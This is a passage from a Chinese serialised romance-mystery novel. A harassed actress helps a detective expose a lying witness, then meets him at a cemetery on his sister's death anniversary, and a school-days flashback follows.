殷璇可不给冷嫦沮丧的时间，她很清楚接下来这里会发生什么，附近的黑粉极大可能会来这里围堵冷嫦，她的表情顿时一凌，看向了店长。
殷璇：“你们这里还有备用电梯吗？”
店长也是个聪明人，意识到事态的严重之后立刻点头道：“有的有的，这边有部员工电梯，别直接下去，到三楼后穿过银汉宫KTV从他们的vip电梯走。”
殷璇立刻挎上包，拽上冷嫦往员工电梯去。
进了电梯，冷嫦才想到自己的手机，等她翻出来的时候，屏幕上躺着7个未接电话，5个是经纪人琳达打来的，还有2个…备注名【攻略进度0%】。
电梯叮得一声，抵达了楼层三。
哄闹的银汉宫人声鼎沸，然而预期中的金碧辉煌并未在开门的同时抵达冷嫦的世界，随着电梯门缓缓展开，一个巨大身影挡在光明与她之间。
冷嫦只觉得脑袋一沉，眼前跟着模糊一片陷入黑暗，陌生却熟悉的味道钻入了她的鼻腔，那是一件男士外套，带着些许雨渍的潮气，现在正严严实实地将她的肩部以上全部遮盖。
“跟我走。”
冷嫦有些不敢相信：“你怎么在这？”
没等冷嫦从震惊中恢复，整个人就被打横抱起，由于惯性只能依附于对方的胸膛，嘈杂的声响像被什么东西隔绝，冷嫦突然什么都听不到了，除了心脏的声音。
扑通，扑通。
8. 撒谎
殷璇久居欧洲，郗正又从不参加各类富绅的交际活动，她眼瞅着高大男人将冷嫦一把抱走，她第一反应联想到的是混乱社会里常见的抢劫，也顾不上自己体格上的差距，冲过去就将人拦住：
“你把他放下，不然我报警了！”
“报警？”郗正并不看她，直接掠过她的身旁，“我就是警察。”
殷璇再追上去的时候，脱了外套，身着浅蓝色制服的郗正已经拐弯进了大堂另一侧的长廊，她腿再长也长不过这个一米九的男人，几个弯下来，她恨不能将高跟鞋飞过去。
没等殷璇第二轮的质问抵达，郗正停在一间包厢门口，单臂托住冷嫦的腰臀，发力的动作让他贴身的衬衣显得有些勒，眼看就要追上的时候，郗正腾出来的另一只手却推开了包厢的门。
殷璇眼色微恙：公职人员出入低消六位数的ktv？
正欲揭穿郗正身份存疑之时，她跟着进入包厢，却看到里头只有一位穿着性感的女孩，灯光敞亮，环境安静。
等殷璇再探向男人所在方向的时候，冷嫦已经被轻轻地放回地上，男人略带命令的口吻朝殷璇去：“把门锁上。”
虽不爽，但照做。
反观冷嫦，她没了之前慌乱模样，反而面带桃春，汪汪大眼目露流彩，就差把喜欢这两个大字扣在脑门上了。
殷璇心底默骂了一声见色忘友的，却也已心下透亮，男人不是别人正是冷嫦所提到的郗正。
殷璇不清楚冷嫦是如何美化的这段未定的恋情，还只当郗正对她也颇有爱意，于是免不了摆出娘家人的姿态，往沙发上一坐，长腿一叠，手掌一扣，满是挑衅：“正好，我也正想找你。”
郗正淡看了殷璇一眼，随后垂眸，落在了冷嫦期待的眼神中，他移开对视的目光，只解释道：“我属下马上就到，等会会来接应，你们暂时在这里待着。”
冷嫦才不管后续，她贴上去了两步，抬头问：“可你怎么会在这里？”
郗正偏头看向角落处一直垂着脑袋的姑娘：“查案。”
冷嫦很快就在郗正冷峻的眼神里魂回当下，方才的荡漾在看到女孩的愁容和立刻消散，女孩一头粉棕色长发，性感小吊带和只能勉强遮住屁股的牛仔裙，很显然女孩没在营业状态，一脸疲惫不说，半点妆容未施，脸色煞白无光，嘴唇干燥起皮，看上去确实像郗正突然把人提出来审的样子。
只是…
冷嫦胳膊肘顶顶郗正的腰窝：“你别老板着张脸，人给你吓得的。”
她说的是事实，又不是正式遣回局里调查，用不着这么强硬，有时候像这种沟通，还是软一点的好，只是眼下她也顾不上这些了，口袋里的手机又开始闹腾，冷嫦不用看就知道是琳达打来的，于是回头和殷璇作了个暂离的手势便躲进了一旁的卫生间。
掩门的时候，她又看了女孩一眼，她虽然坐在沙发角落，可全身蜷缩，牛仔裙口袋被塞的满满当当，好像随便一蛄蛹就能翻倒出来，冷嫦光是想想都觉得难受。
关上门进了卫生间，面对琳达说要来接的事，她犹豫了片刻后拒绝了，她告诉琳达别担心，郗正说有警方会护送她回去。
琳达先是质疑了一下郗正为什么会出现在那，而后像是恍然大悟地差点爆哭：“我的祖宗，你不会和他约会被抓拍了吗？”
天呐，才被爆出来和无烟有潜规则的事，再爆出来和素人纠缠，那她冷嫦也别想着洗白了，直接原地隐退吧，这经纪人爱特么谁干谁干。
琳达破防的话刚到嘴边，那头的冷嫦却突然意识到了什么…先不说他这么巧出现在这里的事，这动用警力送她回去，这算不算滥用职权？尤其是在想到郗正对她那副爱搭不理的样子，犯得着为了她坏了规矩？
冷嫦心里显然有了答案，她的心咚咚两下，再回忆起郗正说的正好办案，可是就算同样在这栋楼办案，他又是怎么知道冷嫦什么时间会出现在哪里？还这么精准的在电梯口截住她？？
那萌生了微毫的喜悦，以为命运加持的暗示，此刻冷静下来，她看清了镜中的自己。
冷嫦冷水洗了个手，呼出一口浊气，他并不喜欢她，更不是那种会跟踪他的类型，那么这一切只能说明，是警方在暗中跟着她…至于理由？
冷嫦自嘲道：“陈北的缘故吧。”
原来根本不是把她踢出嫌疑人列表，而是把她当成重点嫌犯才这么紧密观察。
她突然觉得方才的自作多情有点好笑，也庆幸刚才没有继续癫下去。
冷嫦和琳达交换完信息约好家里碰头，擦干双手的冷嫦正欲打开门出去，却看到纸篓边上落着一片贴纸，男人或许不懂，但是女人很清楚，这是卫生巾包装上的贴纸，一小道蓝色的，不足小拇指长，作密封用的。
冷嫦回看四周，卫生间打扫得一丝不苟，连灰尘都没有的镜面，却会在地面上看到这么明显的垃圾，也不知道保洁卫生是怎么做的。
她开门回到包厢，惹眼的金光将男人身躯映得正直，然而这份正直现在却让差点失态的冷嫦有点抵触，所以离开卫生间之后，她直接坐到了殷璇边上，再没给郗正任何炽热的眼神。
敏锐的殷璇看到此状，压低声音附耳问道：“怎么？琳达姐又骂你了？”
“她哪天不骂我？”冷嫦不想闺蜜刚回来第一天就被她的事折腾，于是探手兜住她的后背，半个脑袋靠过去，“这事儿不好弄，主要是照片地和人物都是真的，只是故事被他们编的离谱，这两天要是找不到源头，估计就往那方向去了。”
殷璇矢口：“我倒不这么觉得，既然照片地是真的，那至少说明爆料的人当时和你在同一个地方，比起你们无从下手，我倒觉得范围一下缩小了。”
殷璇抿了口水，朝郗正那点头：“他不是还在么，都构成造谣和人身攻击，让他去查。”
冷嫦：“他是刑警，我的事还用不着…”
她看向郗正，正站在女孩面前继续盘问着，顿了顿继续道：“确实，诽谤诬陷构成刑事案件了，该是他的。”
既然他把她当嫌疑人盯着，那她也要合理使用她受害者的身份。
冷嫦起身，走向了郗正。
此时郗正和女孩还在对答中。
郗正：“还准备继续撒谎？9月16日的监控我调出来看了，那天并没有任何斗殴发生，到底因为什么报警？”
女孩面色凝紫，嘴唇却还是白的离谱：“我说，我说，但请您别告诉我们领班，他不让我们和客人私下有关系。”
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郗正并不给她讨价还价的机会：“说！”
女孩顾左右而摇晃，吞吞吐吐道：“我给王总当小三，就是监控里您看到的008包厢那个，但是您信我，绝对不是□□，我知道我不道德但真的没做犯法的事情，那天王总硬是要拉我出去快活…但我身上来着例假，实在不能，可他又喝了太多酒，于是便将我拉到楼道里想要上/我…还掐我脖子，我实在是怕了才报了警，谁能想到…让您误会了。”
说着，她还露出了脖子上的淤痕：“您看，是真的，要是您不信可以打给王总，确实是我俩的私事。”
那不清白的眼神扫过不远处的冷嫦，像是尴尬又像是怒意，总之冷嫦笃定，女孩看她的眼神绝不友善。
郗正眯着眼，他深知私自造访也只能问到这个程度，这类风月场所的女孩嘴里没几个真字，但就目前的情况来看，他没法断论把混乱关系都拿出来的说辞有没有真实性，只是碍于未走司法程序，今天也只能暂且作罢，于是说到：“明天会有相关民警给你做笔录，包括你说的那位王总。”
他仍然不信她，可女孩却松了口气，紧绷的面部跟着松懈。
此时敲门声起，是邓平。
“郗队，是我。”
他收到郗队的消息将冷嫦安全送回去。
开了门，邓平一溜小跑来到几人身旁，直白道：“那冷小姐，您要不把衣服帽子戴起来，警车已经在楼下了，我们直接下去就行。”
女孩也在此时道：“那具体的事情就等我明天去警局再说清楚吧，到我上班的时间了，我得过去了。”
直觉告诉郗正，这女孩不可信。
可是没有证据的他无法继续深入调查，只能等明天的笔录结果。
女孩起身，鼓鼓的口袋受到挤压露出了塑料薄膜的一角。
殷璇也在叫她：“走啦，别磨蹭了。”
可冷嫦总觉得，那个薄薄的透明的东西很眼熟。
女孩走在最前，冷嫦压着帽子垂头，步子快快地跟上，始终紧张地看着女孩的口袋，随着女孩一步步的幅度愈发加大，那塑料小角也终于成了指甲盖的大小，再往里仔细瞧上一眼，是揉成一团的褶皱模样。
冷嫦大惊——那可不就是卫生巾的包装吗？
她大脑转的极快，厕所里的蓝色粘片，过分干净的纸篓，以及女孩口袋里怎么看都像是用包装包起来的已经使用过卫生巾，为什么要偷偷把用过的卫生巾藏在兜里带走？
等等，那女孩说她9月16日来着例假，可这都快半个月了…正常人怎么可能来这么久的例假呢…再加上女孩始终毫无血色的脸庞……确实是来例假的样子。
那到底……除非………
只有一种可能。
冷嫦的动作快大脑一步，径直上前握住了女孩，瞳孔晃动着惊呼：“她在撒谎，郗正，她在撒谎！”
女孩条件反射地甩开冷嫦，恶狠狠地瞪她一眼。
冷嫦被甩得个踉跄，虽然骨裂不严重靠养就行，但经女孩这么推拨还是免不了痛意传来。
嘶声之后，健硕的胸膛抵住了冷嫦的后背，然而此刻冷嫦却顾不得二人亲密的距离，后仰抬头看他，满眼坚定：“这姑娘撒谎，她9月16日根本没来例假！”
9. 暗号
“郭美玲，站住！”
郗正将冷嫦扶到一旁，强壮有力的胳膊直接越过她伸向名为郭美玲的女孩。
女孩闻言，本就难看的脸色顿时惨白一片，脚下却和抹了油似的疯狂向前冲，口中还不停念叨着：“你们不能抓我，我是无辜的，无辜的！”
本就身单力薄且因为例假痛经倍感虚弱的郭美玲，卯足了劲向前摆了几米之后却还是被郗正牢牢扣住摁在墙边，身子微斜尽量往她口袋处去，直到挨了这么近，他才隐约嗅到一股铁锈味：“我给过你机会。”
这边的动静很快惊动了汇聚在大厅和两侧的客人，郗正目露凌厉，冰冷的眼神砸向邓平：“带她们走。”
这个她们所指，显然不过。
邓平身手敏捷，掏出警官证拦住了靠近的酒保等人：“执行公务，请避让。”
说罢，连拖带拽的将还处于还有些亢奋状态的冷嫦带离现场。
冷嫦口中嘤喃着，试图和郗正说上话，然而郗正只留给她一个遥远的背影，仿佛一堵墙，堵住了她所有接近的目光。
回到家中已经接近晚间十二点，相比冷嫦公司启动的澄清预案，无烟剧组的声明来得更快。
【针对互联网上散播的关于无烟剧组女主角@冷嫦不雅照的事件，我方有权力追究带给剧组的不良影响和后果。】
这一下，骂声一片的冷嫦评论区闹得更凶了。
【不是姐们，真被你睡到高层了？别是程导吧？】
【女主角？女主角？你有什么资格演女主角啊？】
【程导的含金量我看也注水了吧，什么垃圾玩意都能来演戏了，还他妈的女主角？】
【我看娱乐圈也算完了，竟然连冷嫦这种货色都能拉出来演戏了。】
【虽然我也不喜欢她，但她演的那几个角色我个人觉得还挺好啊。】
【楼上就是冷嫦粉丝吧，那叫演的还行？演坏女人只会大呼小叫蹬鼻子上脸算什么演技？】
【就是就是，哪像我们许栀玫，每一个眼神都是戏，和她撞脸我们玫玫也真是倒霉。】
【我是圈内人我有话要说，玫玫上一部戏凤鸣就是被这个女人把剧组拖累死的。】
【妈的，有没有人告诉我冷嫦地址啊，我真想线下真实她！】
【能不能给我死啊冷嫦？？？】
忽略评论区，琳达在看到无烟的官宣后，盯着屏幕的眼睛终于掀起丁点星光：“到底是大导的戏，公关法务就是快。”
冷嫦也同样看到了消息，可她却很疑惑，首先，她与无烟的剧组还未正式签订合同，历史上也从来没有任何剧组会在演员陷入舆论期的时候官宣，别说是官宣了，顶不住压力不签约或者解约的都比比皆知。
冷嫦自认为演戏这件事她还算认真，但绝没到炉火纯青非她不可的地步。
甚至她认为，无烟在这个时候突然冲出来发表声明，反而坐实了那张照片。
说不出来的怪异感让她想到最近发生的一切事，然后目光烁烁地看向琳达：“等风波过去，我去烧个香吧。”
琳达认真点头：“好主意，最近这事儿都太惊险，我每天都在怀疑是不是要失业了。”
两人还没聊上两句，公司领导的电话又打了进来，琳达点上烟就钻到书房，眼眉里全是当孙子的憋屈劲。
“诶好好好，是是是，一定一定，您放心，我保证。”一股子唯唯诺诺的态度，看得冷嫦也跟着心疼，这琳达跟着她，虽说钱拿得是别人好几倍，但确实没享受过一天平静日子。
不难想象电话那头公司领导彪的话有多难听。
冷嫦含泪打开了琳达的微信，转账二十万：【你看中的那是birkin，去拿下吧！】
琳达被书房房门掩着的声音立刻弹了个弦，像是脊梁都挺直了：“不过话又说回来，也不都是嫦嫦的问题——”
冷嫦放下手机：“古人诚不欺我。”果然有钱能使鬼推磨。
被限制出门且收到冷处理消息的冷嫦在琳达的最终交涉里还是被没收了手机，这破事的影响已经不可能再恶化了，除非冷嫦自己下场去撕。
由于短时间之内还查不到帖子的来源，除了两则相对官方的澄清之外，冷嫦这边的律所也跟着发出追责的声明，就算如此网友们还是不买账，称冷嫦不过是垂死挣扎。
被收了手机的冷嫦只能秧秧回房，ipad虽然连了网，可惜账号权限被琳达早一步锁了，此刻她只能看着一条条骂她的评论恨得牙痒痒。
“有病吧都？明明都不了解我。”
这不是冷嫦第一次被骂，但是
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情节最为恶劣，时期最为关键，那些捕风捉影的东西她知道聪明人不会信，可照片是真的，哪怕故事是杜撰的，也很难令人信服，尤其是想到郗正，一个刑警，一个只相信证据的人。
并且，无烟是她想转型后接到的第一个机会，她不想就这么没了。
她翻了个身，想到的是KN珠宝的那位店员，明明无冤无仇却会在不知道真相的情况下选择给她一刀，她很难想象作为一个公众尚且会因为这些行为陷入危险之中，那么素人呢，一旦有人站到黑暗的对立面之时，谁又能全身而退呢。
实在是心烦意乱睡不着的冷嫦，扯下面膜来到了衣帽间，有时候压力大就会想收拾东西，比如现在。
冷嫦先是将那些全新的还未摘掉吊牌的衣服一件件塞入对应的橱柜中，接着开始整理换季的服饰，左边是春秋装，右边是冬装，正对面是夏装。
她抓着一件长裙正准备往夏装区域送，却因为裙摆实在太长把自己绊了一下，由于还未收拾妥当的缘故，边上一溜的皮带刷拉拉都被她从架子上带倒，有条波西米亚流苏状的皮带还顺着她的手腕缠上了一圈。
她没用力，只是轻轻扯了扯，可惜没用，本就烦躁的她只能放下长裙去解开那流苏，然而这微妙的拉扯感和手指在肌肤滚动的感觉，让她脑中突然想到了杨晋把她骗出来曝光那天的场景。
拉扯的力度，和不适宜的手感，当时场面实在突发，导致她根本没细看，可现在再想来…杨晋当时似乎并不仅是扣住她的手腕，她猛然想起了当时还有一股温度在手背游走的触觉。
像是指腹写下了什么…
室内打着26的恒温，冷嫦却猛觉背后一凉。
她一次次再试着还原当时的场景，便愈发确定，杨晋当时拉住她，一定在她手背写了什么。
这过程也就一两秒钟，不够杨晋完整地写出一个复杂的中文字。
冷嫦原地蹲下，无论如何抓头挠腮却怎么也想不起来更多的细节，唯一能回忆起来的只有杨晋一横一竖的动作，冷嫦拍拍脑袋，使劲唤醒记忆。
“是4吗？还是中？还是字母T…”冷嫦皱眉苦恼着，“还是数字7？”
窗外雨滴像石头一样撕扯着黑夜，砸的玻璃砰砰响，这个答案，在今夜的雷雨中淹没，无人知晓。
10. 忌日
娱乐圈热度有着24小时黄金时效，有些热度是艺人背后的公司故意操作，为的就是借势宣传。
冷嫦不一样，她没花钱上过一次热搜，偏偏每次发酵都足够长久，这次久的让她心烦意乱，以往都是一个人单打独斗的绯闻，现在牵扯到了无烟和凤鸣两套组，相关艺人更是挨个被cue了遍。
‘失联’影帝杨晋与冷嫦的关系也再次因为这件事被添油加醋得扒，要知道杨晋身为娱乐圈影帝的影响力，导致现在的热搜前十全是关于他们俩的tag。
【所以这个女人不仅勾搭了无烟的高层，还和杨晋搞不清楚是吗？】
【脚踏两只船呗，她不靠男人靠什么？】
冷嫦已经懒得生气，心里只有杨晋未说出口的信息，失眠了一整夜，她的眼下挂着鸡蛋大小的青灰色。
第二天一早，琳达端着粥进来送早餐的时候，看到同样熬了一夜的冷嫦忍不住笑起来：“也有你睡不着的时候？终于知道这次事情的严重性了？”
冷嫦扁扁嘴，她当然知道，只是她失眠的原因不如此，她打了个哈欠：“我手机有消息吗？”
琳达：“你父母来过电话，我已经安抚好了，公司方面让你这周尽量不露面，有无烟的剧组吸引火力，让你沉默就好。”
这种行为，可不就是像当时她被推出来替杨晋挡刀的时候，没想到才一个多月已然风水轮流转，她竟也成为瑟缩在背后等着别人背锅的小人。
“手机可以给我了吧？我今天要去扫墓。”冷嫦将牛奶一饮而尽，摊开掌心要手机，“我发誓，绝对不上线和粉丝撕逼。”
琳达上身向后仰，护住怀里的手机：“那不行。”
说着，早知她会不依不饶，立马从裤兜里摸出了一台老人机：“卡给你弄过去了，能接打电话，不影响你正常生活。”
冷嫦：“？”
她低头看着蓝色屏幕里跳出的带有像素噪点的开机画面：“什么玩意？”
琳达：“对了，有个叫攻略进度的也给你打了电话，我没接到，你记得给人家回过去。”
冷嫦拨弄着老式翻盖手机，除了电话短信之外几乎没有其他任何功能，琳达这次为了防止她作乱也算是下狠手了，竟然连这种手机都能找到。
她点开通讯录，找到了郗正的备注名，想到他把自己当犯人监视的事，便默默将进度0％改成-10%。
“心累啊…”她叹气，追个人还能追成负数。
吐槽之余冷嫦已经开始换衣服，找到了一身全黑的DIOR套装，别上白色的胸针戴上墨迹就准备出门，等在门口的琳达不停看着表：“你也真是，出这么大的事了还敢出门。”
冷嫦：“你知道的，每年这一天我都不会缺席。”
＊
[永安墓园]
琳达面对冷嫦拒绝陪同的态度，不放心地叮嘱：“虽然一路没发现可疑记者，你还是注意点。”
冷嫦点头应允：“我很快就出来。”说完便转身进了墓园。
由于是长假前的最后一天，很多人已经提前出发旅行，再加上墓园这种地方，除了清明冬至之外很少有人造访，冷嫦一路从门口来到墓区，竟没有遇上一个路人。
天空又飘起渺渺小雨，冷风刮过，冷嫦将衣领拢了拢：“又要降温了。”
来到天使园，被养护得依旧郁郁葱葱的绿林环绕里，宽敞平和的草坪上一尊尊白色十字架安静地躺在上方，冷嫦手执黑伞来到一侧缓坡站定。
视线所看向的位置，一块灰白的碑文正对，上面写着【杨悦1965年11月9日--2015年9月30日】
像是一夜的疲惫终于可以在无人之地泄露，又像是隐藏许久的委屈终于找到人倾诉，冷嫦肩头一颤，小声的呼唤跟着跌了出去：“老师…我好像又犯错了…”
冷嫦从小性格张扬随性，爱出风头，无论在什么年龄段都受到过不待见。
在幼儿园的时候被认为失责弄死了班级共养的小兔子，上小学的时候因为指出了学校餐厅给她们吃隔夜饭被老师贴上不合群的标签，初中时因为被男生调侃直接甩了个一巴掌，导致冷嫦才上高中，那些所谓的“黑”历史就被传了个遍。
偏偏冷嫦的脸，又有着让她难以低调的资本，就算试着装乖融入大家，却总是会被牵扯进莫名其妙的三角恋绯闻，某年暑假返校，那些讨厌她的人竟然把她反锁在厕所整整一天，本以为冷嫦会彻底老实低头。
却没想到冷嫦反手一个报警，并爆出几位女同学拉帮结派欺压学生的行径，要求校方严惩几人，当时这件事闹得很大，导致学校最终不得不开除几人，本以为她此遭彻底胜利。
可没想到，等来的是众人站在道德制高点的审判。
“美妮她们被开除之后，没有一家学校敢要她们了。”
“冷嫦真的好无情啊，这让她们以后要怎么办？”
“只是关了一晚上而已，竟然要报复到这个程度，冷嫦太可怕了…”
然而这些声音里，甚至还有曾经受到欺压的同学。
也在这时候闺蜜殷璇受到家里的指示要出国，冷嫦真正意义上回到了“独来独往”，所过之处到处是同学们的指指点点。
正处青春期的少女，再坚韧的人也都有迷茫时刻，她第一次怀疑自己是不是做错了……
可杨悦却站在讲台前，目光灼灼地望向她，对她鼓掌，那段支持的话语她这辈子都不会忘记——
“同学们，悲悯的前提是拥有擅辨是非的能力，在那之前，我们要好好爱自己，希望你们和像冷嫦一样，在遇到任何不公正的时候，勇敢地站出来，最大限度地保护好自己。”
杨悦就像一道光，消散了冷嫦心底所有的质疑，她不再被外界的声音所困扰，她不再是穿梭在校园里的小小一只，无论走到哪里杨悦的关心都会跟随所至。
冷嫦今天之所以能成为一名演员，成为一名沉沦于风雨却从未低下过头的演员，也离不开杨悦的支持，哪怕是患癌之际躺在病床，杨悦还是会笑着抚摸她的脑袋：“校园文化节被抢了角色别在意，你的舞台还很大，老师等着那一天。”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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可惜最终杨悦还是离开了这个世界，但至少对于冷嫦而言，她成功出道活跃在荧幕面前，也算是圆了老师的期望。
天使园白色的铁艺围栏上到处是天使雕塑的凝视，冷嫦将手中花束放在墓碑前，剔透的花瓣被小雨珠浸湿，天空一片阴霾，这里却只剩柔和明媚的思念。
没有八卦的记者，没有好奇的路人，只有她与另一个世界的对话，时间都好像慢了起来，直到琳达打来了电话，催促她在外面待得久危险，该回去了。
冷嫦只能不情愿地起身，再度拂过烫金的碑文，杨悦的名字在她的指尖缓缓淌过。
远处有几个抱着菊花同样来祭扫的人，冷嫦避开了大路，打算从隔壁星辰区绕回去。
星辰区风格与其他墓区大相径庭，在墓园罕见的色彩在这里却可以看到，墓区门口的告示牌也写得很清楚【这里安葬着一个个稚嫩美好的灵魂，归于星辰大海，交织成璀璨梦境】。
冷嫦微微皱眉：“埋着的…都是些孩子么。”
她走得很轻，并不想打扰孩子们的长眠，黑伞挡住了冷嫦大片的视线，鹅卵石铺的花园道路并不长，她却觉得走了好久，直到两条长腿出现在伞檐下，彻底将冷嫦封在原地，对方西裤走线被烫的笔直。
冷嫦怕被认出来，将伞面又压了压：“不好意思，麻烦借过。”
对面那人纹丝不动，冷嫦偏过身子想挪过去，那人声音却穿过伞面，在哒哒的雨声里格外清晰：“脚伤了还要到处跑。”
冷嫦一愣。
听起来像是责备，声音是不能再熟悉的质感，只是在这种心情和过往遭遇下，冷嫦却起不了任何异心，甚至有些微怒。
她顺了口气，人在某些生气的情况下，确实是会笑的。
比如现在。
冷嫦不自觉轻笑了一声：“郗警官若是真的把我当成嫌犯，不如将我带回去好好审一审，犯不着阴魂不散地这么跟着我。”
郗正的薄唇依旧，没有任何表情爬过他的脸，他只是漠然地低头看她，语调平静：
“不是。”
冷嫦没来由地讨厌郗正这种不带情绪的眼神，忍不住戳穿道：“不是？不是把我当成犯人监视你来墓园做什么，总不能告诉我郗警官也这么巧来扫墓吧？”
因为情绪有些激动，冷嫦抓着伞柄的动作向后一抬，伞面倾斜，攀扯在边缘的雨水哗全都失控地啦啦往下坠落，冷嫦的眼神紧紧跟随，看到对方露出蓝色制服的上身，手中捧着洁白的花束，那双始终写着疏离的眸子此刻看起来相比平常更为淡漠。
她的眼瞳怔怔一颤。
郗正转过身去，单膝及地，雨水浸湿了他的膝盖前方，将白菊百合摆在虹色的琉璃墓碑旁，颗颗雨珠浇灌，冷嫦看清了碑上的字：
郗颜2002年1月18日-2015年9月30日
雷声隐隐渡，凉风从四面八方吹来，淅沥雨丝打湿了郗正的额前发，长长的睫毛上挂着细密水珠，遮住了他眼底所有的辩白。
他说：“今天是我妹妹的忌日。”
11. 求婚
“对不起，我不知道。”
雨突然变大，将冷嫦的声音全部堵了回去。
郗正沉默着抚摸墓碑，半晌后才回答：“找人跟你是为了安全，并不是把你当成嫌犯，如果造成你的困扰我只能抱歉，但是出于我的职责范围，我还会继续派人暗中观察。”
冷嫦听到郗正罕见的说了一长串，再对上此前失礼的行为，脸上一阵燥热，弯下腰朝着墓碑鞠了一躬，喉间干涩。
她站在郗正身后，不知道要怎么弥补无心的冒犯，只能望着他渐渐被雨水包围。
不知过了多久，郗正才起身看向她:“走吧，我送你上车。”
冷嫦安静地撑伞跟上去，此时的主干道上偶有零星家属来扫墓，大雨之中无人在意黑伞下的两人。
郗正：“你来看谁？”
郗正率先打破这份短暂的静谧。
冷嫦回答：“我高中班主任。”
想到郗正和她高中并不同级，未必认识，于是没有继续介绍下去。
郗正余光瞥到冷嫦小心的步子，慢了下来：“都是今天。”
冷嫦点头：“嗯…也是今天。”
所以她才对郗正会来墓园的事想当然地联想到监视这一茬。
冷嫦试着缓和气氛，关心道：“你妹妹是怎么…”
刚冒尖几个字她就开始后悔了，哪有人问这么隐私的事情…
郗正并不回避：“生病。”
冷嫦眨巴着眼睛：“不是车祸？”
郗正垂眸扫向她，明明没说话，却感觉说了好多冷言冷语。
冷嫦：“…听说的…”
心里默骂了殷璇一百遍！谁和她说郗正妹妹是出车祸走的啊？！
郗正却很快收回视线，声音有些闷：“嗯，也算吧，遇到车祸错过了最佳救治时间。”
冷嫦似乎从对方的语气里读到了一种无奈，只是两人关系还有些疏远，继续问下去显得实在刻意。
郗正却继续道：“相撞车子的女司机也在当天去世了，听说那天也是他儿子的生日。”
冷嫦惊讶地捂住嘴巴，9月30日竟然牵扯到这么多遗憾吗？
或许是觉察到冷嫦的表情不对，郗正终止了这场对话，转而说道：“这段时间既然不方便出门，不如在家把伤养好。”
冷嫦受伤之后因为要去试镜的缘故早早下了石膏，琳达和殷璇也都劝她注意，这话从郗正的口中说出来，她倒希望带有关心以外的意思。
只是看他的表情。
算了。
郗正视线微偏，这个角度看过去，他漆黑的眸子愈加深沉，只是因为下雨的缘故像是染了点水汽。
“那边有记者，过来。”说罢，郗正收了伞挤到冷嫦的伞下，并一把将人搂住。
冷嫦面对着突如其来的近距离哪有反应的时间，等她意识到郗正所说的时候，压低伞檐的那一侧只响过阵阵哄乱的脚步，夹杂着几声抱怨。
“人呢？刚刚明明看到她一个人在那的。”
“都怪你，非要上厕所，这下跟丢了吧？”
“你这人也真是没公德心，扫墓还跟什么？难道她躲墓园和杨晋约会吗？”
约会？
冷嫦扭头看向肩膀上的那只手…这种动作来说，确实有点像约会。
然而也正是反其道而行，让这俩八卦记者成功与之擦肩。
一直到两人走远，郗正才松开手重新撑起伞，恢复两人的一米间距，表情完全和当事人冷嫦的悸动截然相反。
冷嫦肩上的温度还在，她心痒难耐，一把扯住他的衣袖：“我喜欢你，你知道对吗？”
郗正没有回头，两人继续保持着一前一后的距离向前，从侧面看上去两人像是牵着手。
郗正：“你了解我的话就不会说喜欢了。”
冷嫦用力拽停了他：“至少我了解十八岁之前的你。”
她没给郗正插嘴的时机，一股脑全倒了出来：“我高一那年，被人设计丢掉了文化节主演的角色，后面还被摁到舞台前道歉，说我剪了抢了我角色那女孩的裙子，害整个组都演不了了，那女孩叫什么来着，哦，陈璐！校花！对对对，就是陈璐！当时所有人都认定是我，只有你相信我。”
“我和你明明不认识，你却愿意相信我，说明你是个有原则有立场的人，你不会随意评判任何人任何事，我就是当时喜欢上的你，你和他们都不一样。”
“就是她，冷嫦。”陈璐抱着女主角礼服，哭得抽噎，“我昨晚、昨晚看到她鬼鬼祟祟在衣柜这里。”
冷嫦甩开两位女社友的拉扯，看向陈璐：“你看到了你不抓包，现在才知道告状？”
陈璐接过其他人递来的纸巾，一副在理的模样：“我当时哪里知道你会干这种事，要不是今天我翻到礼服裙子被毁，我怎么也不会相信冷嫦你真的和传闻里那样坏。”
她边哭边说：“你讨厌我不要紧，我知道最终让我得到女主角的机会让你很生气，你有什么冲我来都行，可你知不知道你这么做，我们的节目都毁了！”
周围附和声阵阵：
“是啊，临登台才发现礼服出问题，这还怎么演？”
“冷嫦你真的可恶，你知不知道为了这档节目我们排练了多久？”
“就是啊，你怎么能因为个人嫉妒就做出这样的事呢？”
冷嫦彼时还没练就一身怼人的本事，虽然性格倔强，面对群嘲还只能被牵着鼻子走，她抗议道：“我参与排练这么久，又怎么会不知道排练辛苦？你们不能因为陈璐的一面之词就认定是我吧？何况——”
她没继续说下去，若真被冤枉个彻底她倒愿意争个鱼死网破，可事实却与之有部分相似，她是剪了陈璐礼服没错，但她事后就极为后悔，第一时间赶回家里拜托老爸找了牛逼的工作室连夜找到了这条裙子的供应商做了新的，并在今天早上原封不动地塞回陈璐的衣柜。
可如今面对这一件华丽的礼服，以及上面的剪痕…这不免让她自己都有些动摇了，眼神都跟着晃动：“怎么会这样呢…”
她早上放回去的时候，明明礼服还好好的，为此她还检查了好几遍呢。
“何况什么何况？”陈璐的护花使者跳出来推搡了一下冷嫦，“早知道你因为陈璐中途抢了你女主角怀恨在心，干出这种事真够恶心的！说吧！你要怎么弥补陈璐和大家！”
说话的男生是学生会副会长，在学校里有一席之地，有了他的仗义执言原本没有加入讨伐的社友也纷纷骚动起来。
“让她跪下和陈璐道歉！然后再去校广播承认自己的错误！否则我们就让学校处分她，她之前逼得同班同学退学不也是这样吗？咱们千万不要放过她！”
“就是，不如直接把监控调出来播报，让大家好好见识下冷嫦的真面目！”
冷嫦心底一凉，脱口道：“——不行。”
几乎同时，陈璐也跟着失声说：“不行。”
大家对冷嫦做贼心虚的不行纷纷唾弃，可是对陈璐也表示不行的态度有所疑惑。
“陈璐你说不行做什么？都这个时候了还想着给她台阶？”
“陈璐你对这种人发善意干嘛？她剪你裙子的时候有替你着想过？”
众人七嘴八舌，噎得冷嫦无话可说，昨晚的监控只要被爆出来，谁还管后面发生了什么？肯定咬死她的行径了！
冷嫦低着头，脑袋一片空白，只会重复“真的不是我…”
然而就在这时，作为话剧社纪委的正出现了，他的声音冷漠得好像和这里所有人都泾渭分明，甚至连指责都带着群体属性，这话虽是冲着冷嫦去的，听上去却把所有人都骂了：“和不信你的人说这么多废话做什么？”
而后语调偏转，又道：“我只相信证据。”
至于后来又说了什么，冷嫦只能想到那个逆光的画面，传闻中的郗正站在舞台灯光里，替她解围，说信她，末了，又冲所有人说了句：“没事散了吧，明天的演出照旧。”
年少懵懂的情愫，就是这样炙热直白，莽撞又浓郁。
这种英雄救美的事儿，搁谁谁不心动？
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>反正冷嫦是动了。
＊
郗正眯起眼，看不见的微光在聚拢，他声音清浅：“就因为那件事？”
